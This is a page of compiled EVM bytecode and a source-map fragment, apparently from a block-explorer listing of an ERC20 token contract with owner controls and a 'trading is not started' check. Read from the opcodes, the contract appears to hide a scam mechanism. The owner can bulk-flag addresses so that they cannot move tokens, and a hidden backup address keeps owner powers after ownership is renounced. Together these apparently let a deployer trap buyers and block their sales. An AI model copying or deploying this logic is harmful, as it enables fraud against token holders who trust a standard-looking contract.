0000000000000000000000000000000000000000000000000000000008152600401610d8390611e75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df290611f07565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ed991906118b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90611f99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbb9061202b565b60405180910390fd5b610fcf838383611482565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d906120bd565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110eb9190611c00565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114f91906118b2565b60405180910390a36111628484846115b0565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ce9061214f565b60405180910390fd5b6111e382600083611482565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561126a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611261906121e1565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546112c29190611c34565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161132791906118b2565b60405180910390a361133b836000846115b0565b505050565b611348610d15565b73ffffffffffffffffffffffffffffffffffffffff166113666115b5565b73ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b39061224d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61148b83611659565b61149d576000811461149c57600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036115aa576114fb6108de565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156657506115376108de565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c906122b9565b60405180910390fd5b6115ab565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116305760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611654565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116e5826116ba565b9050919050565b6116f5816116da565b811461170057600080fd5b50565b600081359050611712816116ec565b92915050565b60006020828403121561172e5761172d6116b0565b5b600061173c84828501611703565b91505092915050565b60008115159050919050565b61175a81611745565b82525050565b60006020820190506117756000830184611751565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117b557808201518184015260208101905061179a565b60008484015250505050565b6000601f19601f8301169050919050565b60006117dd8261177b565b6117e78185611786565b93506117f7818560208601611797565b611800816117c1565b840191505092915050565b6000602082019050818103600083015261182581846117d2565b905092915050565b6000819050919050565b6118408161182d565b811461184b57600080fd5b50565b60008135905061185d81611837565b92915050565b6000806040838503121561187a576118796116b0565b5b600061188885828601611703565b92505060206118998582860161184e565b9150509250929050565b6118ac8161182d565b82525050565b60006020820190506118c760008301846118a3565b92915050565b6000806000606084860312156118e6576118e56116b0565b5b60006118f486828701611703565b935050602061190586828701611703565b92505060406119168682870161184e565b9150509250925092565b600060ff82169050919050565b61193681611920565b82525050565b6000602082019050611951600083018461192d565b92915050565b60006020828403121561196d5761196c6116b0565b5b600061197b8482850161184e565b91505092915050565b61198d816116da565b82525050565b60006020820190506119a86000830184611984565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119d3576119d26119ae565b5b8235905067ffffffffffffffff8111156119f0576119ef6119b3565b5b602083019150836020820283011115611a0c57611a0b6119b8565b5b9250929050565b611a1c81611745565b8114611a2757600080fd5b50565b600081359050611a3981611a13565b92915050565b600080600060408486031215611a5857611a576116b0565b5b600084013567ffffffffffffffff811115611a7657611a756116b5565b5b611a82868287016119bd565b93509350506020611a9586828701611a2a565b9150509250925092565b60008060408385031215611ab657611ab56116b0565b5b6000611ac485828601611703565b9250506020611ad585828601611703565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b2657607f821691505b602082108103611b3957611b38611adf565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611b9b602883611786565b9150611ba682611b3f565b604082019050919050565b60006020820190508181036000830152611bca81611b8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c0b8261182d565b9150611c168361182d565b9250828201905080821115611c2e57611c2d611bd1565b5b92915050565b6000611c3f8261182d565b9150611c4a8361182d565b9250828203905081811115611c6257611c61611bd1565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611ca28261182d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611cd457611cd3611bd1565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611d3b602583611786565b9150611d4682611cdf565b604082019050919050565b60006020820190508181036000830152611d6a81611d2e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611dcd602683611786565b9150611dd882611d71565b604082019050919050565b60006020820190508181036000830152611dfc81611dc0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e5f602483611786565b9150611e6a82611e03565b604082019050919050565b60006020820190508181036000830152611e8e81611e52565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef1602283611786565b9150611efc82611e95565b604082019050919050565b60006020820190508181036000830152611f2081611ee4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f83602583611786565b9150611f8e82611f27565b604082019050919050565b60006020820190508181036000830152611fb281611f76565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612015602383611786565b915061202082611fb9565b604082019050919050565b6000602082019050818103600083015261204481612008565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120a7602683611786565b91506120b28261204b565b604082019050919050565b600060208201905081810360008301526120d68161209a565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612139602183611786565b9150612144826120dd565b604082019050919050565b600060208201905081810360008301526121688161212c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006121cb602283611786565b91506121d68261216f565b604082019050919050565b600060208201905081810360008301526121fa816121be565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612237602083611786565b915061224282612201565b602082019050919050565b600060208201905081810360008301526122668161222a565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122a3601683611786565b91506122ae8261226d565b602082019050919050565b600060208201905081810360008301526122d281612296565b905091905056fea2646970667358221220c57530114233d140b34b1fa31924ddacc36022d2bc274456953644c32410e0ea64736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063dae39f921161007c578063dae39f92146103b6578063db5d7793146103e6578063dcdee61814610402578063dd62ed3e14610432578063e074839e14610462578063f2fde38b1461047e5761014d565b8063715018a6146102f457806373fa7ddb146102fe5780638da5cb5b1461031a57806395d89b4114610338578063a457c2d714610356578063a9059cbb146103865761014d565b80632b112e49116101155780632b112e491461021e578063313ce5671461023c578063395093511461025a57806342966c681461028a57806349bd5a5e146102a657806370a08231146102c45761014d565b8063046f36b01461015257806306fdde0314610182578063095ea7b3146101a057806318160ddd146101d057806323b872dd146101ee575b600080fd5b61016c60048036038101906101679190611718565b61049a565b6040516101799190611760565b60405180910390f35b61018a6104ba565b604051610197919061180b565b60405180910390f35b6101ba60048036038101906101b59190611863565b61054c565b6040516101c79190611760565b60405180910390f35b6101d861056a565b6040516101e591906118b2565b60405180910390f35b610208600480360381019061020391906118cd565b610574565b6040516102159190611760565b60405180910390f35b61022661066c565b60405161023391906118b2565b60405180910390f35b6102446106e5565b604051610251919061193c565b60405180910390f35b610274600480360381019061026f9190611863565b6106ee565b6040516102819190611760565b60405180910390f35b6102a4600480360381019061029f9190611957565b61079a565b005b6102ae6107ae565b6040516102bb9190611993565b60405180910390f35b6102de60048036038101906102d99190611718565b6107d4565b6040516102eb91906118b2565b60405180910390f35b6102fc61081d565b005b61031860048036038101906103139190611a3f565b610831565b005b6103226108de565b60405161032f9190611993565b60405180910390f35b610340610907565b60405161034d919061180b565b60405180910390f35b610370600480360381019061036b9190611863565b610999565b60405161037d9190611760565b60405180910390f35b6103a0600480360381019061039b9190611863565b610a84565b6040516103ad9190611760565b60405180910390f35b6103d060048036038101906103cb9190611718565b610aa2565b6040516103dd9190611760565b60405180910390f35b61040060048036038101906103fb9190611718565b610ac2565b005b61041c60048036038101906104179190611718565b610b0e565b6040516104299190611760565b60405180910390f35b61044c60048036038101906104479190611a9f565b610b64565b60405161045991906118b2565b60405180910390f35b61047c60048036038101906104779190611718565b610beb565b005b61049860048036038101906104939190611718565b610c92565b005b60076020528060005260406000206000915054906101000a900460ff1681565b6060600580546104c990611b0e565b80601f01602080910402602001604051908101604052809291908181526020018280546104f590611b0e565b80156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b5050505050905090565b6000610560610559610d15565b8484610d1d565b6001905092915050565b6000600454905090565b6000610581848484610ee6565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cc610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561064c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064390611bb1565b60405180910390fd5b61066085610658610d15565b858403610d1d565b60019150509392505050565b6000610699600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106c4600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106ce9190611c00565b6106d661056a565b6106e09190611c34565b905090565b60006009905090565b60006107906106fb610d15565b848460036000610709610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078b9190611c00565b610d1d565b6001905092915050565b6107ab6107a5610d15565b82611168565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610825611340565b61082f60006113be565b565b610839611340565b60005b838390508110156108d857816007600086868581811061085f5761085e611c68565b5b90506020020160208101906108749190611718565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d090611c97565b91505061083c565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461091690611b0e565b80601f016020809104026020016040519081016040528092919081815260200182805461094290611b0e565b801561098f5780601f106109645761010080835404028352916020019161098f565b820191906000526020600020905b81548152906001019060200180831161097257829003601f168201915b5050505050905090565b600080600360006109a8610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90611d51565b60405180910390fd5b610a79610a70610d15565b85858403610d1d565b600191505092915050565b6000610a98610a91610d15565b8484610ee6565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b610aca611340565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bf3611340565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610c9a611340565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0090611de3565b60405180910390fd5b610d12816113be565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8390611e75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df290611f07565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ed991906118b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90611f99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbb9061202b565b60405180910390fd5b610fcf838383611482565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d906120bd565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110eb9190611c00565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114f91906118b2565b60405180910390a36111628484846115b0565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ce9061214f565b60405180910390fd5b6111e382600083611482565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561126a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611261906121e1565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546112c29190611c34565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161132791906118b2565b60405180910390a361133b836000846115b0565b505050565b611348610d15565b73ffffffffffffffffffffffffffffffffffffffff166113666115b5565b73ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b39061224d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61148b83611659565b61149d576000811461149c57600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036115aa576114fb6108de565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156657506115376108de565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c906122b9565b60405180910390fd5b6115ab565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116305760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611654565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116e5826116ba565b9050919050565b6116f5816116da565b811461170057600080fd5b50565b600081359050611712816116ec565b92915050565b60006020828403121561172e5761172d6116b0565b5b600061173c84828501611703565b91505092915050565b60008115159050919050565b61175a81611745565b82525050565b60006020820190506117756000830184611751565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117b557808201518184015260208101905061179a565b60008484015250505050565b6000601f19601f8301169050919050565b60006117dd8261177b565b6117e78185611786565b93506117f7818560208601611797565b611800816117c1565b840191505092915050565b6000602082019050818103600083015261182581846117d2565b905092915050565b6000819050919050565b6118408161182d565b811461184b57600080fd5b50565b60008135905061185d81611837565b92915050565b6000806040838503121561187a576118796116b0565b5b600061188885828601611703565b92505060206118998582860161184e565b9150509250929050565b6118ac8161182d565b82525050565b60006020820190506118c760008301846118a3565b92915050565b6000806000606084860312156118e6576118e56116b0565b5b60006118f486828701611703565b935050602061190586828701611703565b92505060406119168682870161184e565b9150509250925092565b600060ff82169050919050565b61193681611920565b82525050565b6000602082019050611951600083018461192d565b92915050565b60006020828403121561196d5761196c6116b0565b5b600061197b8482850161184e565b91505092915050565b61198d816116da565b82525050565b60006020820190506119a86000830184611984565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119d3576119d26119ae565b5b8235905067ffffffffffffffff8111156119f0576119ef6119b3565b5b602083019150836020820283011115611a0c57611a0b6119b8565b5b9250929050565b611a1c81611745565b8114611a2757600080fd5b50565b600081359050611a3981611a13565b92915050565b600080600060408486031215611a5857611a576116b0565b5b600084013567ffffffffffffffff811115611a7657611a756116b5565b5b611a82868287016119bd565b93509350506020611a9586828701611a2a565b9150509250925092565b60008060408385031215611ab657611ab56116b0565b5b6000611ac485828601611703565b9250506020611ad585828601611703565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b2657607f821691505b602082108103611b3957611b38611adf565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611b9b602883611786565b9150611ba682611b3f565b604082019050919050565b60006020820190508181036000830152611bca81611b8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c0b8261182d565b9150611c168361182d565b9250828201905080821115611c2e57611c2d611bd1565b5b92915050565b6000611c3f8261182d565b9150611c4a8361182d565b9250828203905081811115611c6257611c61611bd1565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611ca28261182d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611cd457611cd3611bd1565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611d3b602583611786565b9150611d4682611cdf565b604082019050919050565b60006020820190508181036000830152611d6a81611d2e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611dcd602683611786565b9150611dd882611d71565b604082019050919050565b60006020820190508181036000830152611dfc81611dc0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e5f602483611786565b9150611e6a82611e03565b604082019050919050565b60006020820190508181036000830152611e8e81611e52565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef1602283611786565b9150611efc82611e95565b604082019050919050565b60006020820190508181036000830152611f2081611ee4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f83602583611786565b9150611f8e82611f27565b604082019050919050565b60006020820190508181036000830152611fb281611f76565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612015602383611786565b915061202082611fb9565b604082019050919050565b6000602082019050818103600083015261204481612008565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120a7602683611786565b91506120b28261204b565b604082019050919050565b600060208201905081810360008301526120d68161209a565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612139602183611786565b9150612144826120dd565b604082019050919050565b600060208201905081810360008301526121688161212c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006121cb602283611786565b91506121d68261216f565b604082019050919050565b600060208201905081810360008301526121fa816121be565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612237602083611786565b915061224282612201565b602082019050919050565b600060208201905081810360008301526122668161222a565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122a3601683611786565b91506122ae8261226d565b602082019050919050565b600060208201905081810360008301526122d281612296565b905091905056fea2646970667358221220c57530114233d140b34b1fa31924ddacc36022d2bc274456953644c32410e0ea64736f6c63430008130033
Deployed Bytecode Sourcemap
17524:1276:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2589:76;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3170:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5336:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4289:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5987:492;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18658:139;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4132:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6888:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14318:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17580:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4460:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16334:103;;;:::i;:::-;;18427:223;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15686:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3389:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7606:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4800:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17615:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17952:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11986:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5038:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17335:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16592:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2589:76;;;;;;;;;;;;;;;;;;;;;;:::o;3170:100::-;3224:13;3257:5;3250:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3170:100;:::o;5336:169::-;5419:4;5436:39;5445:12;:10;:12::i;:::-;5459:7;5468:6;5436:8;:39::i;:::-;5493:4;5486:11;;5336:169;;;;:::o;4289:108::-;4350:7;4377:12;;4370:19;;4289:108;:::o;5987:492::-;6127:4;6144:36;6154:6;6162:9;6173:6;6144:9;:36::i;:::-;6193:24;6220:11;:19;6232:6;6220:19;;;;;;;;;;;;;;;:33;6240:12;:10;:12::i;:::-;6220:33;;;;;;;;;;;;;;;;6193:60;;6292:6;6272:16;:26;;6264:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;6379:57;6388:6;6396:12;:10;:12::i;:::-;6429:6;6410:16;:25;6379:8;:57::i;:::-;6467:4;6460:11;;;5987:492;;;;;:::o;18658:139::-;18711:7;18773:15;18783:4;;;;;;;;;;;18773:9;:15::i;:::-;18755;18765:4;;;;;;;;;;;18755:9;:15::i;:::-;:33;;;;:::i;:::-;18738:13;:11;:13::i;:::-;:51;;;;:::i;:::-;18731:58;;18658:139;:::o;4132:92::-;4190:5;4215:1;4208:8;;4132:92;:::o;6888:215::-;6976:4;6993:80;7002:12;:10;:12::i;:::-;7016:7;7062:10;7025:11;:25;7037:12;:10;:12::i;:::-;7025:25;;;;;;;;;;;;;;;:34;7051:7;7025:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6993:8;:80::i;:::-;7091:4;7084:11;;6888:215;;;;:::o;14318:91::-;14374:27;14380:12;:10;:12::i;:::-;14394:6